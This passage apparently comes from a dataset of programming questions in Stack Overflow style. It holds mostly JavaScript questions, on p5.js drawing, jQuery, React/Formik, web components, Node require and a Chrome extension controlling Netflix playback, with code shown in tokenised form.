/td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < /tbody > < /table > < /div > < div > < br > < /div > < /body > < span class= '' gr__tooltip '' > < span class= '' gr__tooltip-content '' > < /span > < i class= '' gr__tooltip-logo '' > < /i > < span class= '' gr__triangle '' > < /span > < /span > < /html >",How can I move a scrollbar from inside to outside a table ? "JS : I saw a video about the Recaman Sequence by Numberphile . If you do n't know the algorithm you can look at this link : https : //www.youtube.com/watch ? v=FGC5TdIiT9U or this one : https : //blogs.mathworks.com/cleve/2018/07/09/the-oeis-and-the-recaman-sequence/I wrote a little piece of software with Processing and p5.js to visualize the sequence . My algorithm makes steps in which the next hop gets defined and then I try to draw a semicircle from the previous point to the new point . My problem is that the current semicircle disappears when the next is drawn . I want all of the semicircles to remain visible . Here is the link to CodePen where you can see my Code and the Output : https : //codepen.io/stefan_coffee/pen/QBBKgpI want my output to look something like this : let S = [ ] ; let count = 0 ; let active_num = 0 ; function setup ( ) { } function draw ( ) { createCanvas ( 600 , 400 ) ; background ( 50 , 50 , 50 ) ; for ( i = 0 ; i < 20 ; i++ ) { step ( ) ; drawStep ( ) ; } } function drawStep ( ) { var x = ( S [ S.indexOf ( active_num ) -1 ] + active_num ) /2 ; var y = height / 2 ; var w = active_num - S [ S.indexOf ( active_num ) -1 ] ; var h = w ; if ( count % 2 == 0 ) { stroke ( 255 ) ; noFill ( ) ; arc ( x , y , w , h , PI , 0 ) } else { stroke ( 255 ) ; noFill ( ) ; arc ( x , y , w , h , 0 , PI ) ; } } function step ( ) { count++ ; S.push ( active_num ) ; console.log ( 'active_num : ' + active_num + ' count : ' + count + ' ' + S ) ; if ( S.indexOf ( active_num - count ) > 0 ) { active_num += count ; } else { if ( active_num - count < = 0 ) { active_num += count ; } else { active_num -= count ; } } } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/p5.js/0.7.3/p5.min.js '' > < /script >",Visualization of the Recaman Sequence "JS : In the following code : does the operation object.length get evaluated every time in the iteration ? It would make most sense that the language will evaluate this once and save the result . However , I was reading some code where someone evaluated the operation before the loop started and stored it in a variable that was used in the end-condition.Do different languages handle this differently ? Any specific info for Javascript ? for ( var i = 0 ; i < object.length ; i++ ) { ... . }","In a loop , do any operations in the end-condition get evaluated in every iteration ?" "JS : I wanted to add a getter to Array.prototype to get the last element of the array.I did it like this : Is this proper for memory ? My worry was if you instance 10000 objects : I hope I will only have 1 functions in the memoryMy worry is that I might have 10000 * 1 = 10000 functions in the memoryMy goal is to use it like this : Object.defineProperty ( Array.prototype , 'last ' , { get : function ( ) { return this [ this.length - 1 ] ; } } ) ; const arr = [ { } , { } , { } , { } ] ; arr.last === arr [ arr.length - 1 ] ;",Adding a getter to Array.prototype "JS : I have the array : [ 1,2,3,4,5,6,7 ] I want to achieve : [ [ 1,2 ] , [ 3,4 ] , [ 5,6 ] , [ 7 ] ] I 'm thinking Array.map , but it does n't seem to be able to map to nothing for an element ? I have ( using Underscorejs ) : This is still a bit ugly . How can I achieve the transformation ( without explicit loop ) ? arr.map ( function ( el , idx , arr ) { if ( idx % 2 ! = 0 ) return null ; if ( idx == arr.length-1 ) return [ el ] ; return [ el , arr [ idx+1 ] ] } ) .compact ( ) ;",Array.map want to map a value to nothing "JS : I have a bit of HTML here : And a bit of JS here : So what 's actually going on here : I get my data from the URL ( JSON array ) , trigger the addResourceFunction ( ) on click to create a new table row and to add a new select with options passed from the array . As you see from my HTML markup , the select input is placed in td.get-resources , and all that works good . I get my date set , I populate the select field and all works good . I can add as many rows/select dropdowns as I want.Also , every option has a few custom attributes ( you can see it in my JS code above ) , and I want to add the values of those attributes to the second and third column of the row ( in HTML those are span.resources-units and span.resources-quantity ) . The thing is , I have no clue how to make it work 1:1 , meaning that one select dropdown `` alters '' only units and quantity of its own row . Below is the code for that : What happens is that if I add one select input , and change options , the thing works . When I add another one and change its options , it gets attributes of the first one . Adding more - same thing . Whatever I change , it takes the attribute value of the first item added . < tr taskId= '' ( # =obj.task.id # ) '' assigId= '' ( # =obj.assig.id # ) '' class= '' assigEditRow '' > < td > < select name= '' resourceId '' class= '' get-resources formElements '' > < /select > < /td > < td > < span class= '' resources-units '' > < /span > < /td > < td > < span class= '' resources-quantity '' > < /span > < /td > < td > < input type= '' text '' placeholder= '' Required Q '' > < /td > < td align= '' center '' > < span class= '' teamworkIcon delAssig '' style= '' cursor : pointer '' > d < /span > < /td > < /tr > 'use strict ' ; function addResourceFunction ( ) { let ResourcesJSON = ( json ) = > { let Resources = json ; console.log ( Resources ) ; let contactsLength = json.length ; let arrayCounter = -1 ; let resID ; let resName ; let resUnit ; let resQuantity ; let Option = $ ( ' < option / > ' ) ; let assignedID = $ ( 'tr.assigEditRow : last ' ) .attr ( `` assigId '' ) ; while ( arrayCounter < = contactsLength ) { arrayCounter++ ; resID = Resources [ arrayCounter ] .ID ; resName = Resources [ arrayCounter ] .name ; resUnit = Resources [ arrayCounter ] .unit ; resQuantity = Resources [ arrayCounter ] .quantity ; $ ( '.assigEditRow ' ) .last ( ) .find ( 'select ' ) .append ( $ ( ' < option > ' , { value : resName.toString ( ) , text : resName.toString ( ) , resourceID : resID.toString ( ) , resourceUnit : resUnit.toString ( ) , resourceQuantity : resQuantity.toString ( ) } ) ) ; } } $ .getJSON ( `` MY JSON URL IS HERE '' , function ( json ) { ResourcesJSON ( json ) ; } ) ; } ; let idCounter = 1 ; $ ( document ) .on ( 'change ' , '.get-resources ' , function ( ) { $ ( '.assigEditRow ' ) .last ( ) .find ( '.resources-units ' ) .attr ( 'id ' , 'units- ' + idCounter ) ; $ ( '.assigEditRow ' ) .last ( ) .find ( '.resources-quantity ' ) .attr ( 'id ' , 'quantity- ' + idCounter ) ; this.resourceUn = $ ( `` .get-resources option : selected '' ) .attr ( `` resourceUnit '' ) ; this.resourceQuant = $ ( `` .get-resources option : selected '' ) .attr ( `` resourceQuantity '' ) ; $ ( ' # units- ' + idCounter ) .append ( this.resourceUn ) ; $ ( ' # quantity- ' + idCounter ) .append ( this.resourceQuant ) ; idCounter++ ; } ) ;",Adding custom attribute values of dynamically created dropdowns to another element JS : I have a HTML code with div container and another HTML element and text inside itI need to get only HTML element from the container without the text . So i need to get only How can I get it using jQuery ? < div id= '' container '' > < i class= '' myico '' > < /i > text < /div > < i class= '' myico '' > < /i >,Get HTML fragment without text by jQuery "JS : I 'm trying to animate an element 's width using velocity and the calc ( ) function.this animates the element 's width to 0.Does .velocity not support the css function calc ( ) ? or am do i overlooking a basic syntax error ? $ ( `` # menuContainer '' ) .velocity ( { width : `` calc ( 100 % + -260px ) '' } , 500 ) ;",Velocity.js and calc ( ) CSS function "JS : As you see , timer counts only up to 0.29.Why is it ? < head > < script > window.setInterval ( function ( ) { timer ( ) } ,100 ) ; function timer ( ) { document.getElementById ( `` timer '' ) .innerHTML= ( parseInt ( document.getElementById ( `` timer '' ) .innerHTML*100 ) +1 ) /100 ; } < /script > < /head > < body > < div id= '' timer '' > 0.000 < /div > < /body >",Timer stopping after 0.29 "JS : I was browsing the JIT 's code , and I saw this : What could be the purpose for those anonymous functions ? They immediately pass out of scope , right ? Why use : instead of : Is this some super elite JS hack ? var isGraph = ( $ type ( json ) == 'array ' ) ; var ans = new Graph ( this.graphOptions ) ; if ( ! isGraph ) //make tree ( function ( ans , json ) { ans.addNode ( json ) ; for ( var i=0 , ch = json.children ; i < ch.length ; i++ ) { ans.addAdjacence ( json , ch [ i ] ) ; arguments.callee ( ans , ch [ i ] ) ; } } ) ( ans , json ) ; else //make graph ( function ( ans , json ) { var getNode = function ( id ) { for ( var w=0 ; w < json.length ; w++ ) { if ( json [ w ] .id == id ) { return json [ w ] ; } } return undefined ; } ; ( function ( ans , json ) { ans.addNode ( json ) ; for ( var i=0 , ch = json.children ; i < ch.length ; i++ ) { ans.addAdjacence ( json , ch [ i ] ) ; arguments.callee ( ans , ch [ i ] ) ; } } ) ( ans , json ) ; ans.addNode ( json ) ; for ( var i=0 , ch = json.children ; i < ch.length ; i++ ) { ans.addAdjacence ( json , ch [ i ] ) ; arguments.callee ( ans , ch [ i ] ) ; }",Javascript : Why use an anonymous function here ? JS : will it get `` laggy '' if i fetch 1 million link elements and put it in the DOM.cause i want a navigation list on top..its kinda like the one Apple 's got on their site and you can scroll left or right with your keyboard . the only difference is that the center image will be get larger in size compared to the others.the link elements will be like : will it be a bad idea to have 1 million link elements in this scrollbar . cause i want all links ( added by users ) to be shown . what are the other possibilities ? and does anyone know these kind of animation plugins ? thanks ! < a > < img src ... / > < /a >,1 million link elements in one page ? "JS : I was playing the Javascript game with somebody and we were having fun making ridiculous and absurd expressions to make our inputs get a particular output.This little charming onealways seemed to return 1 . I tried to reason it out , but I gave up after losing track of all the ! s.Are there any values for a , b , and c which do not return 1 ? If not , why does it always return 1 ? ! a ! = ! ! b^ ! ! - ! a|| ! + ! a| ! c",Can ! a ! = ! ! b^ ! ! - ! a|| ! + ! a| ! c return anything other than 1 ? "JS : My app has form with < AutoSave/ > component . This component calls submit once form values were changed . Everything works well but when changing the route it changes form values and < AutoSave/ > calls submit . How to solve this problem ? A possible solution is to mount < AutoSave/ > again when changing the route . CodesandboxAutoSave : My app : MainForm : import React , { useEffect , useCallback } from 'react'import { useFormikContext } from 'formik'import debounce from 'lodash.debounce'const AutoSave = ( { debounceMs } ) = > { const formik = useFormikContext ( ) const debouncedSubmit = useCallback ( debounce ( formik.submitForm , debounceMs ) , [ formik.submitForm , debounceMs ] ) useEffect ( ( ) = > debouncedSubmit , [ debouncedSubmit , formik.values ] ) return < > { ! ! formik.isSubmitting & & `` saving ... '' } < / > } const App : FC = ( ) = > { const { books } = getBooks ( ) // [ { id : 1 , title : 'test ' , summary : 'test ' } , ... ] const { query } = useRouter ( ) const handleSubmit = useCallback ( async values = > { try { await API.patch ( '/books ' , { id : query.book , ... values } ) } catch ( e ) { } } , [ query.book ] ) return ( < > < span > Books < /span > { books.map ( ( { id , title } , key ) = > ( < Link key= { key } href='/book/ [ book ] ' as= { ` /book/ $ { id } ` } > < a > { title } < /a > < /Link > ) ) } { query.book & & ( < MainForm book= { books.find ( book = > book.id === query.book ) } handleSubmit= { handleSubmit } / > ) } < / > ) } type Props = { book : BookProps // { id : string , title : string ... } , handleSubmit : ( values ) = > Promise < void > } const MainForm : FC < Props > = ( { book , handleSubmit } ) = > ( < Formik enableReinitialize initialValues= { { title : book.title , summary : book.summary } } handleSubmit= { values = > handleSubmit ( values ) } > { ( ) = > ( < Form > // ... My fields ... < AutoSave debounceMs= { 500 } / > // < === AutoSave with debounce < /Form > ) } < /Formik > )",Prevent submit on route change Formik AutoSave "JS : I 'm currently trying to implement a repeater WebComponent to allow the company to easily create front-end without depending on any framework ( decision took by architecture ) . Here 's my current code : The list is rightly working since it seems to have no limitation on which tag allowed inside , but the select is not allowing the customElement company-repeat in it and by extension , break the feature and just display < option value= '' $ { value } '' > $ { name } < /option > Here 's the source code of my WebComponentMy question now is , how can I make it work , no matter what 's the parent element ? I 've added a property element to my repeater , but it 's not allowing me to declare more attribute , and it 'll stick not work inside a table.This is the only thing to prevent me from moving everything to WebComponent . < ul > < company-repeat datas= ' [ { `` name '' : `` NameValeur '' , `` value '' : `` valeurId '' } , { `` name '' : `` NameObject '' , `` value '' : `` objectId '' } ] ' > < li > $ { name } < /option > < /company-repeat > < /ul > < select name= '' '' id= '' '' > < company-repeat datas= ' [ { `` name '' : `` NameValeur '' , `` value '' : `` valeurId '' } , { `` name '' : `` NameObject '' , `` value '' : `` objectId '' } ] ' > < option value= '' $ { value } '' > $ { name } < /option > < /company-repeat > < /select > class CompanyRepeater extends HTMLElement { connectedCallback ( ) { this.render ( ) ; } render ( ) { let datas = JSON.parse ( this.getAttribute ( 'datas ' ) ) ; let elementType = this.getAttribute ( 'element ' ) ; this.template = this.innerHTML ; console.log ( elementType ) ; let htmlContent = elementType ! == null ? ` < $ { elementType.toLowerCase ( ) } > ` : `` ; datas.forEach ( elem = > { htmlContent += this.interpolate ( this.template , elem ) } ) ; htmlContent += elementType ! == null ? ` < / $ { elementType.toLowerCase ( ) } > ` : `` ; this.innerHTML = htmlContent ; } interpolate ( template , obj ) { for ( var key in obj ) { const pattern = `` $ { `` + key + `` } '' ; if ( template.indexOf ( pattern ) > -1 ) { template = template.replace ( pattern , obj [ key ] ) ; delete ( obj [ key ] ) ; } } ; return template ; } } customElements.define ( 'company-repeat ' , CompanyRepeater ) ;","Vanilla Custom Element repeater for < option > , < li > , < td >" "JS : Long-time user , first time asking a question.I have a file ( let 's call it file.js ) in which I 'm attempting to require another file called user.service.js at the top of the file : I 'm quite sure that the path is correct and that the user.service.js file is exporting a populated object : In user.service.js : However , userService is always an empty object { } . The odd thing is , if I recreate the file with another name in the same directory ( e.g . user.service2.js ) , the require statement works properly . Or , if I rename file.js to something else , e.g . file2.js , the call works . Additionally , if I require the file inside a function within user.service.js , the statement works as well . However , I 'd prefer to have the require statement at the top of the file and available to all functions inside it.Thanks in advance for the help.Edit : Here 's some sample code : var userService = require ( './user.service ' ) ; module.exports = { signIn : signIn , signUp : signUp , updateProfile : updateProfile } ; var userService = require ( './user.service ' ) ; var testFunc = function ( ) { console.log ( userService ) ; // this logs : { } var userServiceInternal = require ( './user.service ' ) ; console.log ( userServiceInternal ) ; // This logs : // { // signIn : [ Function ] , // signUp : [ Function ] , // updateProfile : [ Function ] // } } ;",Nodejs : 'require ' a module in Nodejs does n't work with certain filename "JS : I have this printValue variable with a HTML button code inside my angular component like so : The question is , how do i make the popover work once the printValue variable has been placed inside the innerHTML as seen below : Doing this inside an html file directly will enable popovers to work . But how to make it to work inside a innerHTML attribute ? export class HomeComponent implements OnInit { printValue = ' < button type= '' button '' data-toggle= '' popover '' title= '' Popover Header '' data-content= '' Some content inside the popover '' > Popover < /button > ' ; constructor ( ) { } OnInit ( ) { } } < p [ innerHTML ] = '' printValue '' > < /p > < body > < button type= '' button '' data-toggle= '' popover '' title= '' Popover Header '' data-content= '' Some content inside the popover '' > Popover < /button > < /body >",How to make Popovers placed inside a innerHTML attribute work ? "JS : I 'm trying to control Netflix 's player from a Google Chrome extension . Here 's an image of the controls bar , for those who are not familiar with it.I managed to simulate a click on play/pause , next episode and toggle full screen buttons ( those with an orange square ) using the following code : But the same logic does n't seem to apply to the slider that controls in which part of the video you 're current in ( that one inside the blue rectangle ) .What I want to do is to change the current position of the video ( for example , going back 10 seconds ) . Here 's what I 've tried so far : Change aria-valuenow on section role= '' slider '' : Retrieve the red circle , change it 's position and click on it : ( Desperate ) Change width and/or click on every bar inside the section : @ EDITBig thanks to Kodos Johnson for pointing me out to this question , and to kb0 for the original code , with a bit of research I 'm able to change the volume and player position from the Chrome Developer Tools ' Console . Here 's the code ( change [ VOLUME ] for the desired volume 0~99 and [ POSITION ] for the desired position ) : Unfortunately , this does't seem to work outside the Chrome Developer Tools . When I run the snippets from my extension I get this : Here 's how I 'm running the script from my extension : Question : How can I change the current position of the video programmatically ( or simulate that the user clicked on the bar and changed it manually ) from an Chrome extension ? $ ( `` . [ control class ] '' ) .click ( ) ; $ ( `` .player-slider '' ) [ `` aria-valuenow '' ] = 0 ; $ ( `` .player-scrubber-target '' ) [ `` style '' ] = `` width : 30 % '' ; $ ( `` .player-scrubber-target '' ) .click ( ) ; .player-scrubber-progress-buffered ( change width and click ) .player-scrubber-progress-completed ( change width and click ) .player-scrubber-progress ( click ) # scrubber-component ( click ) // Change volumenetflix.cadmium.UiEvents.events.resize [ 0 ] .scope.events.dragend [ 0 ] .handler ( null , { pointerEventData : { drag : { current : { value : [ VOLUME ] } } } } ) ; // Change player positionnetflix.cadmium.UiEvents.events.resize [ 1 ] .scope.events.dragend [ 1 ] .handler ( null , { value : [ POSITION ] , pointerEventData : { playing : false } } ) ; Uncaught ReferenceError : netflix is not defined at < anonymous > :1:1 chrome.tabs.getSelected ( null , function ( tab ) { chrome.tabs.executeScript ( tab.id , { code : [ SNIPPET ] } , function ( response ) { } ) ; } ) ;",Simulate click on/change value of aria 's ( netflix ) slider programatically "JS : I 'm using the iUI framework for a site optimized for display on iPhone/iPad mobile Safari browsers . I 'm having a problem when using iUI and the default theme with forms that extend beyond the height of an iPad browser window ( screen height ) . The behavior does n't show up on the desktop version of Safari when using an iPad user-agent and is a little hard to describe , but here goes ... I have a long form that contains lots of text fields like this : ( All told I have 22 rows of name/value text fields in the first fieldset collection , then two more fieldsset collections of varying length , 0..n rows . ) What happens is that when clicking into the field that appears almost at the very bottom of the iPad screen without the keyboard being displayed , the keyboard pops up as expected , but the browser window scrolls to the very top of the page . Because the keyboard is displayed , this obstructs the form field being filled in . This happens for every field that appears near or past the bottom of the iPad window.I 'm using the standard iUI CSS ( iui.css , iui-panel-list.css , and the default theme css ) and am including the iUI javascript along with jQuery 1.5.2 , jQuery UI and jQuery livequery.Any ideas on what could be causing this ? It 's not just annoying , it makes the mobile version of these forms practically unusable . Any help is appreciated . < form accept-charset= '' UTF-8 '' action= '' /customers '' class= '' panel '' enctype= '' multipart/form-data '' id= '' new_customer '' method= '' post '' target= '' _self '' > < div style= '' margin:0 ; padding:0 ; display : inline '' > < input name= '' utf8 '' type= '' hidden '' value= '' & # x2713 ; '' / > < input name= '' authenticity_token '' type= '' hidden '' value= '' rp8JH0JucnB9dfQ9TaRr2sTp2rt3Q/fKkzWm5VBB70g= '' / > < /div > < script > $ ( `` form '' ) .attr ( `` selected '' , `` true '' ) ; < /script > < input id= '' fromScheduler '' name= '' fromScheduler '' type= '' hidden '' value= '' 0 '' / > < h2 > Client Information < /h2 > < fieldset > < div class= '' row '' > < label for= '' customer_firstName '' > First Name < /label > < input autocomplete= '' off '' id= '' customer_firstName '' name= '' customer [ firstName ] '' onBlur= '' checkDuplicateClient ( ) ; '' size= '' 30 '' type= '' text '' / > < /div > < div class= '' row '' > < label for= '' customer_lastName '' > Last Name < /label > < input autocomplete= '' off '' id= '' customer_lastName '' name= '' customer [ lastName ] '' onBlur= '' checkDuplicateClient ( ) ; '' size= '' 30 '' type= '' text '' / > < /div > < div class= '' row '' > < label for= '' customer_email '' > Email # 1 < /label > < input autocomplete= '' off '' id= '' customer_email '' name= '' customer [ email ] '' size= '' 30 '' type= '' email '' / > < /div > < div class= '' row '' > < label for= '' customer_secondary_email '' > Email # 2 < /label > < input autocomplete= '' off '' id= '' customer_secondary_email '' name= '' customer [ secondary_email ] '' size= '' 30 '' type= '' email '' / > < /div >",HTML form using iUI on iPad has erratic scrolling when typing in text input files "JS : What is the differences betweenand ? item variable in the first one can be an object too , why does the second one use an object notation ? When should I use the first one and the latter one ? function updateSomething ( item ) { } function updateSomething ( { items } ) { }",javascript function parameter with object notation "JS : I need a way to always add a whole minute to a timestamp , even if the minute is 61 seconds long due to a planned leap second . Does anyone know if moment ( ) .add ( 1 , 'minute ' ) adds a minute regardless of leap seconds ? Or does it just always add sixty seconds ? I 've found how it handles addition over daylight savings time and leap years , but nothing at all for leap seconds.To give some background as to why this is important : I need to create a CSV file with a bunch of minute-by-minute sensor data for various sensors , formatted like : My data is stored with with the timestamp for the start of an hour , then an array of sixty data points for the hour.I turn this into a bunch of timestamp 'd data by giving the first data point the hour 's timestamp and adding sixty seconds to that value for each subsequent data point ( as leap seconds always happen at the end of the hour and I only ever do an hour at a time , this should be fine ) . I then will need to build a dictionary mapping each timestamp to the value at that minute . This is necessary so that I can have the right data in the right row of the CSV ; sensors may have started at different times or may have been powered off for a certain hour or not reported for a certain part of the hour ; I ca n't just assume that all sensors have the same data . I 'm finding all of the timestamps over which the CSV will be created with the following code : But I 'm not sure if it 's safe . If I need to , I could just change date.add ( 1 , 'minute ' ) to date.add ( 1 , 'minute ' ) .startOf ( 'minute ' ) , but this could add a lot to the execution time and I 'd like to avoid it if possible . time , sensor1 , sensor21491329921800,20,211491329981800,22,21 { timestamp : Date ( 2017,2,24,12,0,0 ) , temperature : [ 20 , 22 , 23 , ... < 60 elements total > ] } var date = moment ( startDate ) ; var end = endDate.getTime ( ) ; var timestamps = [ ] ; while ( date.valueOf ( ) < end ) { timestamps.push ( date.valueOf ( ) ) ; date.add ( 1 , 'minute ' ) } timestamps.push ( date.valueOf ( ) ) ;",How does moment.js handle leap seconds ? "JS : I have an onmouseover for the cells on a table . In the following example I printout the content of the < td > element . If I set the focus in the < input > element and than I press and I hold the left mouse button and go over another cell the currentTarget remain the same.This is happening in Microsoft Edge , in Chrome I get the printout of the cell over which the mouse is positioned , as expected . $ ( ' # tableProperties ' ) .on ( 'mouseover ' , '.mycell ' , tdMouseover ) ; function tdMouseover ( e ) { var mycell = e.currentTarget ; console.log ( `` myCell : `` +mycell.textContent ) ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < table width= '' 500px '' id= '' tableProperties '' > < tr > < td class= '' mycell '' > < input value= '' Cell 1 '' > < /input > < /td > < /tr > < tr > < td class= '' mycell '' > Cell 2 < /td > < /tr > < tr > < td class= '' mycell '' > Cell 3 < /td > < /tr > < tr > < td class= '' mycell '' > Cell 4 < /td > < /tr > < tr > < td class= '' mycell '' > Cell 5 < /td > < /tr > < tr > < td class= '' mycell '' > Cell 6 < /td > < /tr > < /table >",Javascript onmouseover strange behaviour in Microsoft Edge / IE "JS : Assuming I am using the right pattern , I would like to be able to call someFunc ( ) - which is inside < Home/ > - from inside < Wrapper/ > . See below : updated with solution : https : //codepen.io/oldgithub/pen/qPOZEj var Home = React.createClass ( { someFunc ( ) { console.log ( 'How can I call this from < 